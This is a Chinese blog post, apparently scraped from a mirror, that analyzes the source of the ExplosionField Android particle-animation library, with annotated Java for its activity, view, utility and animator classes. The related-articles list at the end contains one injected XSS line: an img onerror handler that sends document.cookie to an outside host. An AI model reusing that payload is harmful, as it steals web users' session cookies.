开源项目ExplosionField(爆炸特效)源码分析
来源:互联网 发布:ubuntu打开u盘命令 编辑:程序博客网 时间:2024/05/16 06:40
开源项目ExplosionField(爆炸特效)源码分析 http://blog.csdn.net/u013022222/article/details/48995105
这是前几日在朋友圈传疯了的开源项目 如果没记错的话 小米手机卸载应用的时候就是使用的这个效果 于是我去github fork 了这个项目 地址如下:
点击打开链接
效果图:
我使用的IDE 是 android studio
我把源码 和范例程序简单的移植到了android studio 然后随便拿了几个图(其实是QQ空间apk里的)
工程目录如下
其实很简单啦 就是个activity 点击其中每个 view 就会产生爆炸特效 首先view会颤抖下 然后爆炸
所有的源码都有注释 如果有错 欢迎指出
下载: 点击打开链接
MainActivity.java
[java] view plaincopy
- package com.chan.explosionfield;
- import android.support.v7.app.AppCompatActivity;
- import android.os.Bundle;
- import android.view.View;
- import android.view.ViewGroup;
- public class MainActivity extends AppCompatActivity {
- //爆炸区域
- private ExplosionField mExplosionField;
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- mExplosionField = ExplosionField.attach2Window(this);
- addListener(findViewById(R.id.root));
- }
- //给需要爆炸的视图添加到爆炸区域中
- private void addListener(View root) {
- //如果是view group 类型 就把它的子视图添加到区域中
- if (root instanceof ViewGroup) {
- ViewGroup parent = (ViewGroup) root;
- for (int i = 0; i < parent.getChildCount(); i++) {
- addListener(parent.getChildAt(i));
- }
- }
- //这里是View 类型的视图
- else {
- //设置它为可点击的
- root.setClickable(true);
- //添加监听器
- root.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View v) {
- //爆炸该视图
- mExplosionField.explode(v);
- //取消注册其点击事件
- v.setOnClickListener(null);
- }
- });
- }
- }
- }
到这里不得不看explision field的源码 爆炸特效从explode那个函数开始
ExplisionField.java
[java] view plaincopy
- /*
- * Copyright (C) 2015 tyrantgit
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.chan.explosionfield;
- import android.animation.Animator;
- import android.animation.AnimatorListenerAdapter;
- import android.animation.ValueAnimator;
- import android.app.Activity;
- import android.content.Context;
- import android.graphics.Bitmap;
- import android.graphics.Canvas;
- import android.graphics.Rect;
- import android.util.AttributeSet;
- import android.util.Log;
- import android.view.View;
- import android.view.ViewGroup;
- import android.view.Window;
- import java.util.ArrayList;
- import java.util.Arrays;
- import java.util.List;
- import java.util.Random;
- /**
- * 爆炸区域
- */
- public class ExplosionField extends View {
- ////////////////////////////////////////////////////////////////////////////////////////////////
- //爆炸的动画
- private List<ExplosionAnimator> mExplosions = new ArrayList<>();
- private int[] mExpandInset = new int[2];
- ////////////////////////////////////////////////////////////////////////////////////////////////
- //ctor
- public ExplosionField(Context context) {
- super(context);
- init();
- }
- public ExplosionField(Context context, AttributeSet attrs) {
- super(context, attrs);
- init();
- }
- public ExplosionField(Context context, AttributeSet attrs, int defStyleAttr) {
- super(context, attrs, defStyleAttr);
- init();
- }
- private void init() {
- Arrays.fill(mExpandInset, Utils.dp2Px(32));
- }
- @Override
- protected void onDraw(Canvas canvas) {
- super.onDraw(canvas);
- //这里配合Explosion Animator的draw互相调用 知道用完动画的播放时间
- for (ExplosionAnimator explosion : mExplosions) {
- explosion.draw(canvas);
- }
- }
- public void expandExplosionBound(int dx, int dy) {
- mExpandInset[0] = dx;
- mExpandInset[1] = dy;
- }
- public void explode(Bitmap bitmap, Rect bound, long startDelay, long duration) {
- //产生爆炸的动画 并且启动它
- final ExplosionAnimator explosion = new ExplosionAnimator(this, bitmap, bound);
- explosion.addListener(new AnimatorListenerAdapter() {
- @Override
- public void onAnimationEnd(Animator animation) {
- mExplosions.remove(animation);
- }
- });
- explosion.setStartDelay(startDelay);
- explosion.setDuration(duration);
- mExplosions.add(explosion);
- explosion.start();
- }
- /**
- * 引爆view
- * @param view 即将被引爆的view
- */
- private int i = 0;
- public void explode(final View view) {
- //获得它被可见的区域
- Rect r = new Rect();
- view.getGlobalVisibleRect(r);
- //获得当前视图在屏幕中的位置
- int[] location = new int[2];
- getLocationOnScreen(location);
- //偏移rect 但是我没能理解这个意思
- r.offset(-location[0], -location[1]);
- r.inset(-mExpandInset[0], -mExpandInset[1]);
- int startDelay = 100;
- //这个动画使得view “振动”
- ValueAnimator animator = ValueAnimator.ofFloat(0f, 1f).setDuration(150);
- animator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
- Random random = new Random();
- @Override
- public void onAnimationUpdate(ValueAnimator animation) {
- view.setTranslationX((random.nextFloat() - 0.5f) * view.getWidth() * 0.05f);
- view.setTranslationY((random.nextFloat() - 0.5f) * view.getHeight() * 0.05f);
- }
- });
- animator.start();
- //让其逐渐变小 然后消失
- view.animate().setDuration(150)
- .setStartDelay(startDelay)
- .scaleX(0f).scaleY(0f)
- .alpha(0f).start();
- //爆炸相关的视图
- explode(Utils.createBitmapFromView(view),
- r,
- startDelay,
- ExplosionAnimator.DEFAULT_DURATION
- );
- }
- public void clear() {
- mExplosions.clear();
- invalidate();
- }
- //获得爆炸区域
- public static ExplosionField attach2Window(Activity activity) {
- //获得MainActivity layout的 根布局的父布局
- //在activity中 setContentView 会在当前布局文件外再套一个父布局
- ViewGroup rootView = (ViewGroup) activity.findViewById(Window.ID_ANDROID_CONTENT);
- ExplosionField explosionField = new ExplosionField(activity);
- //将爆炸区域添加到其中
- //ExplosionField extents View
- rootView.addView(explosionField, new ViewGroup.LayoutParams(
- ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
- //返回爆炸区域
- return explosionField;
- }
- }
刚刚在MainActivity看到ExplosionField是由attach2Window这个方法产生 这里的注释是很完整的
爆炸时会产生当前view 的快照 然后根据快照 取其中的像素 作为爆炸烟火的颜色 这个均由Utils.java生成
Utils.java
[java] view plaincopy
- /*
- * Copyright (C) 2015 tyrantgit
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.chan.explosionfield;
- import android.content.res.Resources;
- import android.graphics.Bitmap;
- import android.graphics.Canvas;
- import android.graphics.drawable.BitmapDrawable;
- import android.graphics.drawable.Drawable;
- import android.view.View;
- import android.widget.ImageView;
- public class Utils {
- private Utils() {
- }
- /**
- * 像素密度
- */
- private static final float DENSITY = Resources.getSystem().getDisplayMetrics().density;
- /**
- * 用来绘图
- */
- private static final Canvas sCanvas = new Canvas();
- /**
- * 将dp 转为 像素
- * @param dp
- * @return
- */
- public static int dp2Px(int dp) {
- return Math.round(dp * DENSITY);
- }
- /**
- * 从视图获得它的图像
- * @param view 要爆炸的view
- * @return 它的图像
- */
- public static Bitmap createBitmapFromView(View view) {
- //如果当前的是ImageView 类型
- //那么最方便了 它的Drawable 是 BitmapDrawable的
- //可以直接获得其中的图
- if (view instanceof ImageView) {
- Drawable drawable = ((ImageView) view).getDrawable();
- if (drawable != null && drawable instanceof BitmapDrawable) {
- return ((BitmapDrawable) drawable).getBitmap();
- }
- }
- //如果不是
- //那么首先 就要使他失去焦点
- //因为获得了焦点的视图可能会随时就改变
- view.clearFocus();
- //生成视图的快照 但是这个快照是空白的
- //只是当前尺寸和视图一样
- Bitmap bitmap = createBitmapSafely(view.getWidth(),
- view.getHeight(), Bitmap.Config.ARGB_8888, 1);
- //如果成功获得了快照
- if (bitmap != null) {
- synchronized (sCanvas) {
- //先设置背景为那个空白的快照
- Canvas canvas = sCanvas;
- canvas.setBitmap(bitmap);
- //将视图绘制在canvas中
- view.draw(canvas);
- //然后一处空白的快照
- //以此来获得真正的视图快照
- canvas.setBitmap(null);
- }
- }
- //现在空白的快照已经有了view的样子
- //是真正的快照了
- return bitmap;
- }
- /**
- * 创建一个和指定尺寸大小一样的bitmap
- * @param width 宽
- * @param height 高
- * @param config 快照配置 详见 {@link android.graphics.Bitmap.Config}
- * @param retryCount 当生成空白bitmap发生oom时 我们会尝试再试试生成bitmap 这个为尝试的次数
- * @return 一个和指定尺寸大小一样的bitmap
- */
- public static Bitmap createBitmapSafely(int width, int height, Bitmap.Config config, int retryCount) {
- try {
- //创建空白的bitmap
- return Bitmap.createBitmap(width, height, config);
- //如果发生了oom
- } catch (OutOfMemoryError e) {
- e.printStackTrace();
- if (retryCount > 0) {
- //主动gc 然后再次试试
- System.gc();
- return createBitmapSafely(width, height, config, retryCount - 1);
- }
- //直到次数用光
- return null;
- }
- }
- }
最后的特效都是在动画里面产生的
[java] view plaincopy
- /*
- * Copyright (C) 2015 tyrantgit
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
- package com.chan.explosionfield;
- import android.animation.ValueAnimator;
- import android.graphics.Bitmap;
- import android.graphics.Canvas;
- import android.graphics.Color;
- import android.graphics.Paint;
- import android.graphics.Rect;
- import android.view.View;
- import android.view.animation.AccelerateInterpolator;
- import android.view.animation.Interpolator;
- import java.util.Random;
- public class ExplosionAnimator extends ValueAnimator {
- /**
- * 默认的播放时间
- */
- static long DEFAULT_DURATION = 0x400;
- /**
- * 加速度补间器
- */
- private static final Interpolator DEFAULT_INTERPOLATOR = new AccelerateInterpolator(0.6f);
- private static final float END_VALUE = 1.4f;
- private static final float X = Utils.dp2Px(5);
- private static final float Y = Utils.dp2Px(20);
- private static final float V = Utils.dp2Px(2);
- private static final float W = Utils.dp2Px(1);
- //绘制的画笔
- private Paint mPaint;
- private Particle[] mParticles;
- //要绘制的区域
- private Rect mBound;
- //要爆炸的view
- private View mContainer;
- public ExplosionAnimator(View container, Bitmap bitmap, Rect bound) {
- //用来画烟花
- mPaint = new Paint();
- //爆炸区域
- mBound = new Rect(bound);
- //生成爆炸烟花点
- int partLen = 15;
- mParticles = new Particle[partLen * partLen];
- //随机的从生成的快照里获得颜色 用作烟花点的颜色
- Random random = new Random(System.currentTimeMillis());
- int w = bitmap.getWidth() / (partLen + 2);
- int h = bitmap.getHeight() / (partLen + 2);
- for (int i = 0; i < partLen; i++) {
- for (int j = 0; j < partLen; j++) {
- //要取颜色的位置
- final int x = (j + 1) * w;
- final int y = (i + 1) * h;
- //获取颜色
- final int color = bitmap.getPixel(x, y);
- //生成爆炸粒子
- mParticles[(i * partLen) + j] = generateParticle(color, random);
- }
- }
- //保存当前的视图
- mContainer = container;
- //设置值
- setFloatValues(0f, END_VALUE);
- //设置补间器
- setInterpolator(DEFAULT_INTERPOLATOR);
- //设置动画时长
- setDuration(DEFAULT_DURATION);
- }
- /**
- * 生成爆炸粒子
- * @param color 爆炸粒子的颜色
- * @param random
- * @return 爆炸粒子
- */
- private Particle generateParticle(int color, Random random) {
- //生成烟花点
- Particle particle = new Particle();
- particle.color = color;
- //设置半径
- particle.radius = V;
- //产生随机大小的base radius
- if (random.nextFloat() < 0.2f) {
- particle.baseRadius = V + ((X - V) * random.nextFloat());
- } else {
- particle.baseRadius = W + ((V - W) * random.nextFloat());
- }
- float nextFloat = random.nextFloat();
- particle.top = mBound.height() * ((0.18f * random.nextFloat()) + 0.2f);
- particle.top = nextFloat < 0.2f ? particle.top : particle.top + ((particle.top * 0.2f) * random.nextFloat());
- particle.bottom = (mBound.height() * (random.nextFloat() - 0.5f)) * 1.8f;
- float f = nextFloat < 0.2f ? particle.bottom : nextFloat < 0.8f ? particle.bottom * 0.6f : particle.bottom * 0.3f;
- particle.bottom = f;
- particle.mag = 4.0f * particle.top / particle.bottom;
- particle.neg = (-particle.mag) / particle.bottom;
- f = mBound.centerX() + (Y * (random.nextFloat() - 0.5f));
- particle.baseCx = f;
- particle.cx = f;
- f = mBound.centerY() + (Y * (random.nextFloat() - 0.5f));
- particle.baseCy = f;
- particle.cy = f;
- particle.life = END_VALUE / 10 * random.nextFloat();
- particle.overflow = 0.4f * random.nextFloat();
- particle.alpha = 1f;
- return particle;
- }
- public boolean draw(Canvas canvas) {
- //直到播放完动画
- if (!isStarted()) {
- return false;
- }
- //遍历烟花点 然后绘制
- for (Particle particle : mParticles) {
- //设置烟花点的属性
- particle.advance((float) getAnimatedValue());
- //如果不是透明的 那就绘制出来
- if (particle.alpha > 0f) {
- mPaint.setColor(particle.color);
- mPaint.setAlpha((int) (Color.alpha(particle.color) * particle.alpha));
- canvas.drawCircle(particle.cx, particle.cy, particle.radius, mPaint);
- }
- }
- //这里配合view 的 draw 互相调用
- mContainer.invalidate();
- return true;
- }
- @Override
- public void start() {
- super.start();
- //这里配合view 的 draw 互相调用
- mContainer.invalidate(mBound);
- }
- private class Particle {
- float alpha;
- int color;
- float cx;
- float cy;
- float radius;
- float baseCx;
- float baseCy;
- float baseRadius;
- float top;
- float bottom;
- float mag;
- float neg;
- float life;
- float overflow;
- public void advance(float factor) {
- float f = 0f;
- //这代表一个烟花点消逝的条件
- float normalization = factor / END_VALUE;
- if (normalization < life || normalization > 1f - overflow) {
- alpha = 0f;
- return;
- }
- //然后计算出烟花点的半径 坐标 透明度参数
- //纯数学计算
- normalization = (normalization - life) / (1f - life - overflow);
- float f2 = normalization * END_VALUE;
- if (normalization >= 0.7f) {
- f = (normalization - 0.7f) / 0.3f;
- }
- alpha = 1f - f;
- f = bottom * f2;
- cx = baseCx + f;
- cy = (float) (baseCy - this.neg * Math.pow(f, 2.0)) - f * mag;
- radius = V + (baseRadius - V) * f2;
- }
- }
- }
1 0
- 开源项目ExplosionField(爆炸特效)源码分析
- 开源项目ExplosionField(爆炸特效)源码分析
- Android 爆炸粒子动画-参考ExplosionField开源项目
- Android粒子破碎效果(1)——开源项目ExplosionField代码分析
- 爆炸特效
- 爆炸特效
- Android爆炸散落动画:ExplosionField开源
- 烟花爆炸色彩效果—ExplosionField
- Android有趣的爆炸散落动画view:开源ExplosionField
- android任意view爆炸效果--第三方开源--ExplosionField
- Android有趣的爆炸散落动画view:开源ExplosionField
- Android有趣的爆炸散落动画view:开源ExplosionField
- unity爆炸特效
- 爆炸特效的添加
- android 粒子爆炸特效
- 爆炸消失特效
- 第三方开源控件ExplosionField源码解析
- BT开源项目Snark源码分析
- 对象池的设计及其实现
- OkHttp使用教程
- Max Points on a Line
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- Android学习实践:10.单选按钮RadioButton
- 开源项目ExplosionField(爆炸特效)源码分析
- URLClassLoader使用方法及事例程序
- lightoj1418Trees on My Island【pick公式】
- 数据结构实践——计数的模式匹配
- ARM64的启动过程之(一):内核第一个脚印
- BC#59 (div.2) B
- 欢迎使用CSDN-markdown编辑器
- linux(centos)下非root用户执行管理命令
- poj2488